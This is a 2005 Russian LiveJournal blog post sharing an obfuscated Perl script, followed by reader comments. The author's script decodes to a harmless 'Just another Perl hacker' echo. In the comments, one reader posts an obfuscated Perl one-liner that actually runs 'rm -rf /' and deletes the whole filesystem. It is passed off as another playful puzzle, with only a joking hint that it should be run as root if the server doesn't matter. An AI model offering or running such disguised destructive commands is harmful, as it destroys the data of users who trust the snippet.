Alexandrov Vladimir AKA vOFFka ([info]lelikbolik) wrote,
@ 2005-09-07 12:18:00
Previous Entry  Add to memories!  Tell a Friend!  Next Entry
Вам понравился предидущий постик ? :) Вот ищщо..
#!/usr/bin/perl -w
$\='`'|"'";$\++;$;='/'|'`';$;++;$;++;$;++;$,=$;;$,++;$/=$,;$/++;$:=$/;$:++;$_=
'%'|'`';$_.='`'|'#';$_.=$\;$_.='`'|'/';$_.=$".'"';$_.='@'|'*'&~'!';$_.="$:$,$/"
.$";$_.='`'|'!';$_.='`'|'.';$_.='/'|'`';$_.=$/.$\;$_.='%'|'`';$_.=$;.$";$_.='@'
|':'&~'*';$_.='`'|'%';$_.=$;;$_.='`'|',';$_.=$".$\;$_.='`'|'!';$_.='#'|'`';$_.=
'+'|'`';$_.='`'|'%';$_.=$;.'"'.$".'>&';$_.=$,&':';`$_`;

Тоже работает :)



(Post a new comment)


[info]mr_konung
2005-09-07 08:32 am UTC (link)
cat "test... test... test..." | perl -e '$??s:;s:s;;$?::s;;=]=>%-{<-|}<&|`{;;y; -/:-@[-`{-};`-{/" -;;s;;$_;see'

Исполнять из под рута, если сервера не жалко ;)

(Reply to this) (Thread)


[info]lelikbolik
2005-09-07 08:46 am UTC (link)
Ага :) Исполнять стоя держа руку на руководстве по программингу на ассемблере от питера нортона!

(Reply to this) (Parent)


[info]preatos
2005-09-07 09:10 am UTC (link)
ну щас твой ЖэЖэ превратиться в коммунити ассемблеров)

(Reply to this)


[info]gavniloff
2005-09-09 10:20 am UTC (link)
перлятина, конечно, хорошо, но от цэ лучше пахнет! Тем более, что на перле компилер си писать - *продолжение додумывайте сами*

(Reply to this)


Create an Account
Forgot your login or password?
Login w/ OpenID
English • Español • Deutsch • Русский…